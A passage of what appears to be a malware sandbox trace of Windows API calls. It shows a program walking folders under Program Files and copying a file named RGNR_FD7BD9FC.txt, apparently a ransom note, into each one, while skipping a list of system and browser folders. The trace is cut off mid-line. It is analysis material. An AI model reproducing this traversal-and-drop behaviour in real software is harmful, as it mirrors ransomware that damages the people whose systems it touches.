(lpString1="SpeechEngines", lpString2="ProgramData") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="All Users") returned 1 [0078.529] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x25 [0078.529] lstrcpyW (in: lpString1=0x1ecbb4, lpString2="SpeechEngines" | out: lpString1="SpeechEngines") returned="SpeechEngines" [0078.529] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\" [0078.529] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\" [0078.529] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\RGNR_FD7BD9FC.txt" [0078.529] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\speechengines\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.531] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*" [0078.531] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x33 [0078.531] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.531] lstrcpyW (in: lpString1=0x1ebce4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.532] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.532] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.532] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.532] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.532] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Windows") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Windows.old") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Tor browser") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Internet Explorer") returned 1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Google") returned 1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Opera") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Opera Software") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Mozilla") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="Mozilla Firefox") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="$Recycle.Bin") returned 1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="ProgramData") returned -1 [0078.532] lstrcmpiW (lpString1="Microsoft", lpString2="All Users") returned 1 [0078.532] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x33 [0078.532] lstrcpyW (in: lpString1=0x1ec0f8, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0078.532] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" [0078.532] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\" [0078.532] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RGNR_FD7BD9FC.txt" [0078.532] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.535] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*" [0078.535] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3d [0078.535] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.535] lstrcpyW (in: lpString1=0x1eb220, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.535] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.535] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.535] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.535] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.535] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.535] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.535] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.535] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2=".") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="..") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Windows") returned -1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Windows.old") returned -1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Tor browser") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Internet Explorer") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Google") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Opera") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Opera Software") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Mozilla") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="Mozilla Firefox") returned 1 [0078.535] lstrcmpiW (lpString1="TTS20", lpString2="$Recycle.Bin") returned 1 [0078.536] lstrcmpiW (lpString1="TTS20", lpString2="ProgramData") returned 1 [0078.536] lstrcmpiW (lpString1="TTS20", lpString2="All Users") returned 1 [0078.536] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3d [0078.536] lstrcpyW (in: lpString1=0x1eb634, lpString2="TTS20" | out: lpString1="TTS20") returned="TTS20" [0078.536] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0078.536] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0078.536] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RGNR_FD7BD9FC.txt" [0078.536] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 0 [0078.537] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*" [0078.537] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0078.537] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.537] lstrcpyW (in: lpString1=0x1ea754, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.537] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.537] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.537] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.537] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.537] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0078.537] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0078.537] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0078.537] lstrcpyW (in: lpString1=0x1eab68, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0078.537] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0078.537] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0078.538] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RGNR_FD7BD9FC.txt" [0078.538] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 0 [0078.538] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*" [0078.538] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x49 [0078.538] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.539] lstrcpyW (in: lpString1=0x1e9c88, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.539] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.539] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.539] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.539] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.539] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2=".") returned 1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="..") returned 1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Windows") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Windows.old") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Tor browser") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Internet Explorer") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Google") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Opera") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Opera Software") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Mozilla") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="Mozilla Firefox") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="$Recycle.Bin") returned 1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="ProgramData") returned -1 [0078.539] lstrcmpiW (lpString1="enu-dsk", lpString2="All Users") returned 1 [0078.539] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x49 [0078.540] lstrcpyW (in: lpString1=0x1ea09c, lpString2="enu-dsk" | out: lpString1="enu-dsk") returned="enu-dsk" [0078.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0078.540] lstrcpyW (in: lpString1=0x1e9e04, lpString2="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0078.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\RGNR_FD7BD9FC.txt" [0078.540] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 0 [0078.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*" [0078.540] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", nBufferLength=0x104, lpBuffer=0x1e9124, lpFilePart=0x1e99e4 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFilePart=0x1e99e4*="*.*") returned 0x51 [0078.540] lstrcpyW (in: lpString1=0x1e8f1c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.540] lstrcpyW (in: lpString1=0x1e91c0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common 